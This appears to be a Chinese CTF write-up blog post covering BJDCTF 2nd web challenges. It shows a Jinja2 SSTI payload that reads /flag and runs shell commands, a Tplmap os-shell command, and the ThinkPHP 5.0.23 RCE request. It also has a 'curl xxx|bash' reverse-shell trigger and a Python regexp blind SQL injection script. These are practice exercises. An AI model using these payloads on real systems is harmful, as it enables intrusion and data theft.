【BJDCTF 2nd—Web】做题+复现记录

fake google

随便输入然后查看源代码发现
在这里插入图片描述
ssti,应该是服务器模板注入,查了一个payload直接就可以查到flag

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}

其实详细的做法应该是先去判断漏洞点,因为这里输入就回显,而且不是php,所以就要去猜想是不是ssti,这里出题师傅也给出提示,就是ssti,接下来判断是什么模板引擎
在这里插入图片描述
{{ }}在jinja2中为变量包裹标识符,试一下{{config}}发现有回显,判断是jinja2模板
在这里插入图片描述
接下来看一下根目录

{% for c in [].__class__.__base__.__subclasses__() %}
{%if%20c.__name__=='catch_warnings'%27'%}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{%endif%}
{% endfor %}

在这里插入图片描述
接下来读一下flag即可
在这里插入图片描述
除此之外,还可以使用Tplmap工具来做这道题

python tplmap.py -u http://8f55fac1-eb01-4ab6-898c-e9b8600cb0d8.node3.buuoj.cn//qaq?name= --os-shell

在这里插入图片描述
工具介绍

old-hack

在这里插入图片描述
thinphp5,百度查了一下漏洞,随便拉一个payload试试
在这里插入图片描述
报错发现thinkphp版本是5.0.23,直接查询对应的RCE代码

http://58d51614-57b0-4e33-90d8-1a430ed45f4b.node3.buuoj.cn/index.php?s=captcha

POST:

_method=__construct&filter[]=system&method=get&get[]=whoami

在这里插入图片描述
继续读取即可

duangShell

在这里插入图片描述
提示了是.swp备份文件,所以是Vim文件泄露

http://0b845bf5-dd6e-420d-a3e0-0307d1ec01f3.node3.buuoj.cn/.index.php.swp

使用vim打开

vim -r index.php.swp

在这里插入图片描述
过滤很多,而且最后执行的函数是exec,这个函数是无回显的,所以首先想到反弹shell,使用

curl xxx|bash

触发反弹shell

看题目说明
在这里插入图片描述
在这里插入图片描述
在靶机中写入反弹shell的语句
在这里插入图片描述
触发反弹shell
在这里插入图片描述
连接成功
在这里插入图片描述
接下来找flag就行了,flag在etc目录下

find /etc -name flag

简单注入

先FUZZ一下,看看都过滤了哪些东西
在这里插入图片描述
发现单引号、双引号、=都被ban了,而且select也被ban了,这就要想其他方法了注入了,发现regexp没有被ban,可以尝试一下。

那接下来就要想怎么使用regexp注入了,假设语句是这样的

select username,password from user where username='$user' and password='$pass'

那单引号都被ban了,怎么去绕过,查看刚才FUZZ的测试,发现\没有被ban,所以可以使用反斜线去将单引号转义,实现SQL语句逃逸,从而导致SQL注入。

select username,password from user where username='admin\' and password='or 1#'

既然知道了如果绕过了,就使用regexp布尔盲注,脚本如下:

import string
import requests

def ord2hex(string):
  result = ''
  for i in string:
    result += hex(ord(i))
  result = result.replace('0x','')
  return '0x'+result


url = "http://1cad8e11-f1b7-4d3a-a16f-7341b53815bc.node3.buuoj.cn"
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
}
#数字+字母字典
dict = string.ascii_letters + string.digits
temp = ''
for j in range(50):
    for i in dict:
        passwords = ord2hex('^'+temp+i)
        payload = "or password regexp binary {}#".format(passwords)
        data = {
            'username': 'admin\\',
            'password': payload
        }
        reponse = requests.post(url=url,headers=headers,data=data)
        # print(reponse.text)
        if 'BJD needs' in reponse.text:
            temp = temp + i
            print(temp.ljust(40, '.'))
            break

这里解释一下,之所以payload中regexp后要加binary,是因为题目提示了区分大小写

MySQL中的正则表达式匹配不区分大小写。
为区分大小写,可使用BINARY关键

还有就是之所以使用ord2hex()这个函数,是因为我们要使用正则表达式^去匹配密码,但单引号会被ban,所以转换成16进制,而16进制在SQL执行时会自动变成字符。

感谢Y1ng师傅的解答

假猪套天下第一

在这里插入图片描述
一个登陆框,使用万能密码能够登进去,但什么也没有发现,在用burp抓包的时候发现是302跳转
在这里插入图片描述
进入看一下
在这里插入图片描述
之前做过一道题也是考这种设置时间的,看到Expires
在这里插入图片描述
一直以为是在这里做修改,还是不熟悉这个参数的意思

Expires 表示存在时间,允许客户端在这个时间之前不去检查(发请求)

观察请求头的COOKIE中包含了time的时间戳,提示是过99年,那就将当前时间戳加99年试试
在这里插入图片描述
在这里插入图片描述
这样第一层就绕过去了,发现下面的提示是localhost,修改XFF
在这里插入图片描述
会发现过滤掉了这个XFF,那可以使用Client-IP或者X-Real-IP代替XFF即可
在这里插入图片描述
考察Referer,添加即可
在这里插入图片描述
添加之后,又出来一个Commodo 64这个,搜索一下
在这里插入图片描述
是一种老式电脑系统叫Commodore 64,所以这个应该是标识,修改UA即可
在这里插入图片描述
修改好之后,又出现一个emali,查资料发现
在这里插入图片描述
添加From
在这里插入图片描述
关键字代理,再查查资料
在这里插入图片描述
在这里插入图片描述
base64解码即可

HTTP Header 详解

Schrödinger

在这里插入图片描述
一开始一脸懵,不知道要干啥,抓包发现test.php页面
在这里插入图片描述用户名为admin,让我们去得出密码,这里一开始以为是布尔盲注或时间盲注的,FUZZ测试等都不行,就猜想可能是这个爆破密码,但也不对,回头看首页
在这里插入图片描述
把刚才需要输入密码的连接在首页input,爆出密码
在这里插入图片描述
出现这些,点一下check会失败,抓包发现有一个cookie很特别
在这里插入图片描述
base64解码是一串数字1585230828,应该是时间戳,在线转换下

在这里插入图片描述
确实是,然后又就以为是又要去查找这两个参数在这里插入图片描述
结果没弄出来,就看了师傅的WP,发现把这个COOKIE置空再检查即可
在这里插入图片描述
B站查AV号,后面的也是时间戳,查对应的时间即可查出flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值